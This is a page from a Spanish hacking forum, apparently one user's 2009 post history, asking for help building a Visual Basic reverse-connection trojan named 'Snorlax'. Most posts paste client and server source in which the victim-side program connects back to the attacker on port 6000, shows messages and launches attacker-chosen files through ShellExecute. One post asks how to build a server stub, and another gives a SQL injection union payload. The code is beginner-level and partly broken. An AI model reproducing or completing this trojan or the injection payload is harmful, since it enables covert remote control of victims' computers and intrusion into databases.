elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Guía rápida para descarga de herramientas gratuitas de seguridad y desinfección


  Mostrar Temas
Páginas: 1 2 [3] 4
21  Foros Generales / Sugerencias y dudas sobre el Foro / Blog tributo a elhacker.net en: 19 Julio 2009, 22:18 pm
bueno gente, se me ocurrio la idea de hacer un blog tributo a elhacker.net y bueno todo la idea esta en la primera entrada del blog

www.hackerel.blogspot.com

lean la primera y unica entrada para ver de que se trata y despues posteen aca en el foro, proque sino no entienden nada :huh:

y si quieren saber porque el nombre esta en la primera entrada tambien  :xD

saludos
22  Programación / Programación Visual Basic / Codigo sobre mi duda anterior (crear server desde exe) en: 8 Julio 2009, 03:22 am
Bueno gente , postee hace muy poco mi duda sobre como hacer para que de un exe poniendo los datos en variables se impriman en el otro codigo (server) osea un edit server como hizo cobain, pero como estoy empezando estoy con algunos problemas

se trata de un form con tres textbox un command para que el archivo pruebas.exe cambie sus valores a otro tres text.

y los mas cómica no es eso sino que cuando llegan los datos el primer text llega un extraño MZ  :o y los otros dos en blanco, la verdad ni idea.

buen aca el code del primer form:

Código
  1. Private Sub Command1_Click()
  2. Open "C:\prueba.exe" For Binary As #1
  3. Seek (1), LOF(1) + 1
  4. Put #1, , a
  5. Put #1, , b
  6. Put #1, , c
  7. Close #1
  8. End Sub
  9.  
  10. Private Sub Form_Load()
  11. Dim a As String * 25
  12. Dim b As String * 25
  13. Dim c As String * 25
  14. a = Text1.Text
  15. b = Text2.Text
  16. c = Text3.Text
  17. End Sub

muy simple jajaj

 y ahora el prueba.exe

Código
  1. Private Sub Form_Load()
  2. Dim a As String * 25
  3. Dim b As String * 25
  4. Dim c As String * 25
  5. Dim d As String * 25
  6. Dim ap As String
  7. Dim bp As String
  8. Dim cp As String
  9. Open "C:\prueba.exe" For Binary As #1
  10. Get #1, , a
  11. Get #1, , b
  12. Get #1, , c
  13. Seek (1), LOF(1) - 74
  14. Close #1
  15. ap = Trim(a)
  16. bp = Trim(b)
  17. cp = Trim(c)
  18. Text1.Text = ap
  19. Text2.Text = bp
  20. Text3.Text = cp
  21. End Sub

tengan en cuenta que para mi es esto nuevo, igualmente busque bastante, pero postee la duda antes y no se no contestaron mucho.

gracias (post 100 ;D)
23  Programación / Programación Visual Basic / Problemas al crear el servidor en: 6 Julio 2009, 20:27 pm
Bueno aca me encuentro ane este problema que se trato con anterioridad pero no se termino de completar como se hacia , el problema es este, estoy haciendo mi troyano llamado Snorlax y me falta hacer la parte para crear el servidor , osea ya se que los .exe no pueden generar otros .exe , pero tengo entendido que con el control commondialog algo se podia hacer, aca va mi duda, los .exe (cliente y servidor) hay que juntarlos en un mismo .exe para que se pueda hacer la creacion del server ,porque un troyano esta compuesto por un cliente y un servidor, osea dos codigos, entonces dos .exe, pero los troyanos comunes son 1 solo exe, que "crean" otro .exe, que enrealidad no lo crean sino que pasan las variables de la IP, el puerto y demas,

entonces estoy trabado ahi, como hacer para crear el servidor desde un .exe (ya vi los codigo de dioxis, el joiner de EON y demas) a crear el servidor, una ayuda por favor que me falta eso (y algunas cosas mas  :P) para terminar snorlax



un saludo
24  Seguridad Informática / Nivel Web / Problemas sql injection en: 1 Julio 2009, 22:34 pm
buen estaba haciendo una sql injection y se me presento el siguiente problema:

busco el nombre de tablas y el nombre va separado en guiones por ejemplo: sql-inection-ejemplo y despues sigo buscando tablas y si por ejemplo tiene una sola palabra entonces va asi: --ejemplo y si tiene dos palabras va : -sql-injection

ahora cuando quiero seleccionar la tabla para buscar las columnas no se que ascii poner, por ejemplo para --ejemplo,tendria que poner:

-1 union all select 1,column_name,1,2,5,6,8,9 from information_schema.columns where table_name = char(0150,0150,101,106,101,109,112,108,111) and column_name
like char(37,97,37)

donde los 0150 son los guiones, pero ahora hay algo mal ahi, no me tira error sino que no me aparece nada y si le pongo otros caracteres al nombre de la table tmapoco me aparece ningun error.

quiero saber que es lo que estoy haciendo mal


un saludo
25  Programación / Programación Visual Basic / problemas con "and" en: 14 Junio 2009, 18:22 pm
bueno hace muy poco habia presentado un problema que decia algo asi como "exe final no recibe los datos"

pero nadie respondio  :huh:
pero ahora es distinto ya que no era que no recibía los datos,sino que las condiciones que habia no se cumplian asique no pasaba nada, pero enrealidad tendrian que cumplirse el codigo es asi

Código
  1. If ((Split(datos, "|")(6)) = True) And ((Split(datos, "|")(5)) = False) Then
  2. MsgBox Split(datos, "|")(1), vbOKOnly, Split(datos, "|")(3)
  3. End If
  4. ''''
  5. If ((Split(datos, "|")(6)) = True) And ((Split(datos, "|")(5)) = True) Then
  6. res1 = MsgBox(Split(datos, "|")(1), vbOKOnly, Split(datos, "|")(3))
  7. If res1 = vbOK Then ShellExecute hwnd, "open", (Split(datos, "|")(7)), vbNullString, vbNullString, conSwNormal Else: MsgBox "Posible mujer o algo rarito jaja"
  8. End If
  9. ''''
  10. If ((Split(datos, "|")(4)) = True) And ((Split(datos, "|")(5)) = False) Then
  11. MsgBox Split(datos, "|")(1), vbYesNo, Split(datos, "|")(3)
  12. End If
  13. ''''
  14. If ((Split(datos, "|")(4)) = True) And ((Split(datos, "|")(5)) = True) And ((Split(datos, "|")(8)) = True) Then
  15. res = MsgBox(Split(datos, "|")(1), vbYesNo, Split(datos, "|")(3))
  16. If res = vbYes Then ShellExecute hwnd, "open", (Split(datos, "|")(7)), vbNullString, vbNullString, conSwNormal Else: ShellExecute hwnd, "open", (Split(datos, "|")(9)), vbNullString, vbNullString, conSwNormal
  17. End If

el problema esta en los "and"!!, necesitaria saber si se puede reemplazar por otra cosa o si esta mal usado como usarlo correctamente!

adios y espero que alguien me ayude esta vez :P
26  Programación / Programación Visual Basic / exe final no recibe los datos... en: 13 Junio 2009, 01:54 am
bueno ultimamente estuve haciendo un troyano inverso en donde la primera parte que hice trabaja con diferentes msgbox y acciones segun la respuesta de la victima... se entendio la idea??

el codigo un poco engorroso

servidor:
Código
  1. Option Explicit
  2. Public WithEvents server As CSocketMaster
  3.  
  4. Private Sub Form_Load()
  5. Set server = New CSocketMaster
  6. server.CloseSck
  7. server.RemoteHost = "ip-ip-ip-ip"
  8. server.Connect server.RemoteHost, 6000
  9. End Sub
  10.  
  11. Private Sub Label1_Click()
  12. If server.State = sckConnected Then
  13. Label1.Caption = "conectado"
  14. ElseIf server.State = sckClosed Then
  15. Label1.Caption = "desconectado"
  16. ElseIf server.State = sckConnecting Then
  17. Label1.Caption = "conectando"
  18. End If
  19. End Sub
  20.  
  21.  
  22. Private Sub Timer1_Timer()
  23. If server.State = 0 Then
  24. server.Connect server.RemoteHost, 6000
  25. ElseIf server.State = 7 Then
  26. Else
  27. server.CloseSck
  28. End If
  29. End Sub
  30.  
  31. Private Sub server_DataArrival(ByVal bytesTotal As Long)
  32. Dim datos As String
  33. Dim res As String
  34. Dim res1 As String
  35.  
  36.  
  37. server.GetData datos
  38.  
  39.  
  40.  
  41. Select Case LCase(Split(datos, "|")(0))
  42.  
  43. Case LCase("mensaje")
  44.  
  45. If ((Split(datos, "|")(6)) = True) And ((Split(datos, "|")(5)) = False) Then
  46. MsgBox Split(datos, "|")(1), vbOKOnly, Split(datos, "|")(3)
  47. End If
  48. ''''
  49. If ((Split(datos, "|")(6)) = True) And ((Split(datos, "|")(5)) = True) Then
  50. res1 = MsgBox(Split(datos, "|")(1), vbOKOnly, Split(datos, "|")(3))
  51. If res1 = vbOK Then ShellExecute hwnd, "open", (Split(datos, "|")(7)), vbNullString, vbNullString, conSwNormal Else: MsgBox "Posible mujer o algo rarito jaja"
  52. End If
  53. ''''
  54. If ((Split(datos, "|")(4)) = True) And ((Split(datos, "|")(5)) = False) Then
  55. MsgBox Split(datos, "|")(1), vbYesNo, Split(datos, "|")(3)
  56. End If
  57. ''''
  58. If ((Split(datos, "|")(4)) = True) And ((Split(datos, "|")(5)) = True) And ((Split(datos, "|")(8)) = True) Then
  59. res = MsgBox(Split(datos, "|")(1), vbYesNo, Split(datos, "|")(3))
  60. If res = vbYes Then ShellExecute hwnd, "open", (Split(datos, "|")(7)), vbNullString, vbNullString, conSwNormal Else: ShellExecute hwnd, "open", (Split(datos, "|")(9)), vbNullString, vbNullString, conSwNormal
  61. End If
  62.     '''''
  63.  
  64.  
  65. ''''''''''''
  66.  
  67. ''''''''''''
  68. End Select
  69.  
  70. End Sub

cliente:
Código
  1. Option Explicit
  2. Public WithEvents ws As CSocketMaster
  3.  
  4. Private Sub Check2_Click()
  5. If Check2.Value = 1 Then
  6. Check3.Enabled = False
  7. ElseIf Check2.Value = 0 Then
  8. Check3.Enabled = True
  9. End If
  10. End Sub
  11.  
  12. Private Sub Check3_Click()
  13. If Check3.Value = 1 Then
  14. Check2.Enabled = False
  15. ElseIf Check3.Value = 0 Then
  16. Check2.Enabled = True
  17. End If
  18. If Check3.Value = 1 Then
  19. Option1.Enabled = False
  20. Option2.Enabled = False
  21. Option3.Enabled = False
  22. Option5.Enabled = False
  23. Text6.Enabled = False
  24. End If
  25. If Check3.Value = 0 Then
  26. Option1.Enabled = True
  27. Option2.Enabled = True
  28. Option3.Enabled = True
  29. Option5.Enabled = True
  30. Text6.Enabled = True
  31. End If
  32. End Sub
  33.  
  34. Private Sub Command1_Click()
  35. Dim datos As String
  36. Dim datos1 As String
  37. Dim mensajes As String
  38. Dim titulo As String
  39. datos1 = Check1.Value
  40. mensajes = Text1.Text
  41. titulo = Text4.Text
  42. datos = "mensaje|" & Text1.Text & "|" & Check1.Value & "|" & Text4.Text & "|" & Check2.Value & "|" & Option4.Value & "|" & Check3.Value & "|" & Text5.Text & "|" & Option5.Value & "|" & Text6.Text
  43. '''''''''''''''''''''''''1'''''''''''''''''''''2''''''''''''''''''3'''''''''''''''''''4'''''''''''''''''''5''''''''''''''''''''6''''''''''''''''''''7''''''''''''''''''''8'''''''''''''''''''9'''''
  44. ws.SendData datos
  45.  
  46. End Sub
  47.  
  48. Private Sub Command2_Click()
  49. ws.CloseSck
  50. ws.LocalPort = Text2.Text
  51. ws.Listen
  52. Text2.Enabled = False
  53. End Sub
  54.  
  55. Private Sub Form_Load()
  56. Set ws = New CSocketMaster
  57. End Sub
  58.  
  59. Private Sub Label5_MouseMove(Button As Integer, Shift As Integer, x As Single, y As Single)
  60. If ws.State = sckConnected Then
  61. Label5.Caption = "Conectado"
  62. ElseIf ws.State = sckClosed Then
  63. Label5.Caption = "Desconectado"
  64. ElseIf ws.State = sckConnecting Then
  65. Label5.Caption = "Conectando"
  66. End If
  67. End Sub
  68.  
  69. Private Sub ws_ConnectionRequest(ByVal requestID As Long)
  70. ws.CloseSck
  71. ws.Accept requestID
  72. End Sub

ya se que es muy engorroso pero alguno que tenga ganas  ;)

buen el problem principal es: dentro del visual basic (dos visual basic separados (cliente-servidor)) funciona bien

fuera (osea el .exe final) no recibe los datos

adiooos
27  Programación / Programación Visual Basic / resultado msgbox en server en: 12 Junio 2009, 02:52 am
Hola a todos, estuve haciendo un programita en estos ultimos días, pero me choque con un problema.
El programa es un troyano cliente-servidor (inverso), y una de sus funciones es mandar mensajes con: si,no,cancelar...si no y otra sin nada..y con la respuesta de la victima ejecutar algo (despues veo bien qué)

supongo que ya entendieron maso menos la idea
parte del codigo del server

Código
  1. Private Sub server_DataArrival(ByVal bytesTotal As Long)
  2. Dim datos As String
  3. Dim Data() As String
  4.  
  5. server.GetData datos
  6.  
  7. Select Case LCase(Split(datos, "|")(0))
  8.  
  9. Case LCase("mensaje")
  10.  
  11. '''''''''''''
  12.  
  13.  
  14. If (Split(datos, "|")(2)) = 1 Then
  15.        MsgBox Split(datos, "|")(1), vbYesNoCancel, Split(datos, "|")(3)
  16.     '''''
  17. ElseIf (Split(datos, "|")(4)) = 1 Then
  18. MsgBox Split(datos, "|")(1), vbYesNo, Split(datos, "|")(3) = vbYes ' aca no se como haceeeeeeeer!!
  19.  
  20. ''''''''''''
  21.  
  22. Else
  23. MsgBox Split(datos, "|")(1), vbOKOnly, Split(datos, "|")(3)
  24.  
  25. End If
  26. ''''''''''''
  27. End Select
  28.  
  29. End Sub

cliente :
Código
  1. Private Sub Command1_Click()
  2. Dim datos As String
  3. Dim datos1 As String
  4. Dim mensajes As String
  5. Dim titulo As String
  6. datos1 = Check1.Value
  7. mensajes = Text1.Text
  8. titulo = Text4.Text
  9. datos = "mensaje|" & Text1.Text & "|" & Check1.Value & "|" & Text4.Text & "|" & Check2.Value & "|" & Option1.Value
  10.  
  11.  
  12. ws.SendData datos
  13.  
  14. End Sub

la conexión esta bien no pongo el resto del código porque ahí  no hay problema.

Adios y Muchas Gracias
28  Programación / Programación Visual Basic / Server no conecta, ayuda en: 31 Mayo 2009, 19:27 pm
hola, bueno yo anteriormente postee sobre un problema con el Csocketmaster...parece que está solucionado

pero ahora me surgió otro problemam al hacer el troyano de conexion inversa (con los winsock) me funciona bien, pero al hacer el server y el cliente el servidor no conecta..

a ver si laguien me puede ayudar

server.exe (envia a la victima)
Código
  1. Option Explicit
  2. Dim WithEvents cliente As CSocketMaster
  3.  
  4. Private Sub Coneccion_Timer_Timer()
  5. If Not cliente.State = sckConnected Then
  6. cliente.CloseSck
  7. cliente.Connect cliente.RemoteHost, 6000
  8. End If
  9. End Sub
  10.  
  11. Private Sub Form_Load()
  12. Set cliente = New CSocketMaster
  13. cliente.CloseSck
  14. cliente.RemoteHost = "ip-o-dominio-no-ip"
  15. cliente.Connect cliente.RemoteHost, 6000
  16. End Sub
  17. Private Sub Label1_Click()
  18. If cliente.State = sckConnected Then
  19. Label1.Caption = "conectado"
  20. Else: Label1.Caption = "desconectado"
  21. End If
  22. End Sub

cliente.exe (atacante)
Código
  1. Option Explicit
  2. Dim WithEvents server As CSocketMaster
  3.  
  4. Private Sub Command1_Click()
  5. server.CloseSck
  6. server.Bind 6000
  7. server.Listen
  8. End Sub
  9. Private Sub Form_Load()
  10. Set server = New CSocketMaster
  11. End Sub
  12. Private Sub ws_ConnectionRequest(ByVal requestID As Long)
  13. server.CloseSck
  14. server.Accept requestID
  15. End Sub
  16.  

bueno el que tenga ganas de ayudar bienvenido sea  ;D

adios y gracias

29  Programación / Programación Visual Basic / CSocketmaster problema en: 30 Mayo 2009, 03:54 am
buen estubo programando en winsock algunas aplicaciones.. y lei un poco de que es mejor usar el CSocketmaster, bueno el problema es que no encutro mucho algo asi como un tutorial.,. o funciones báscias

la idea es hacer una simple conexion a un cliente (troyano inverso)

y lo que me pasa es lo siguiente: el code

Código
  1. Option Explicit
  2. Dim WithEvents Server As CSocketMaster
  3. Private strRemoteHost As String
  4.  
  5. Private Sub Form_Load()
  6. Set Server = New CSocketMaster
  7. strRemoteHost = "IP.IP.IP.iP"
  8. End Sub
  9.  
  10. Private Sub Command1_Click()
  11.  
  12. Server.Bind
  13. Server.Connect
  14.  
  15. End Sub

mas los dos modulos

ya se ese codigo es un desastre pero la verdad estoy comenzando y estoy medio perdido...

el error que me da en visual basic es:

me marca el class module: CSocketmaster

Err.Raise sckInvalidOp, "CSocketMaster.Connect", "Invalid operation at current state"

y en el .exe : run time error: '40020'

muchas gracias

adioos  ;D
30  Programación / Programación Visual Basic / Problemas con winsock en: 28 Mayo 2009, 02:46 am
buen el problema es que estoy haciendo una aplicacion (mini troyano) que utiliza los winsock, entonces la aplicación "server (conexion inversa)" necesita el archivo MSWINSCK.ocx pero como no lo tiene instalado salta un error de que no esta instalado, busque en google y lei dos respuestas:

1. en el form incluir el MSWINSCK.ocx y que se envie a system32.
2. usar las API winsock.

bien en la primera entendi todo ya que es muy sencillo.

pero en la segunda pude tener el codigo y lo hubique en un modulo pero la verdad es que no lo puedo poner en funcionamiento

que es mejor hacer lo primero o lo segundo:

si es lo segundo porfavor un link o algo que epxlique un poco de que se trata.

adios y muchas gracias
Páginas: 1 2 [3] 4
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines